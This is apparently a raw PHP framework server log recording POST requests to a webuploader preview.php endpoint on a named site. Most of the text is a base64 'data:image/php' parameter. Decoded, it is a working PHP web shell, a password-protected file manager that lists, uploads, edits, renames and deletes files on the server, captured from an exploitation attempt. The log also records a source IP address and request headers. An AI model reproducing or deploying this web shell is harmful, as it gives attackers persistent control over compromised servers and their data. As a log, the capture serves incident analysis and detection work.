TWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:22+08:00 ] 119.42.146.234 POST 51tianwei.com/Content/webuploader/0.1.15/server/preview.php [运行时间:0.002685s] [吞吐率:372.43req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9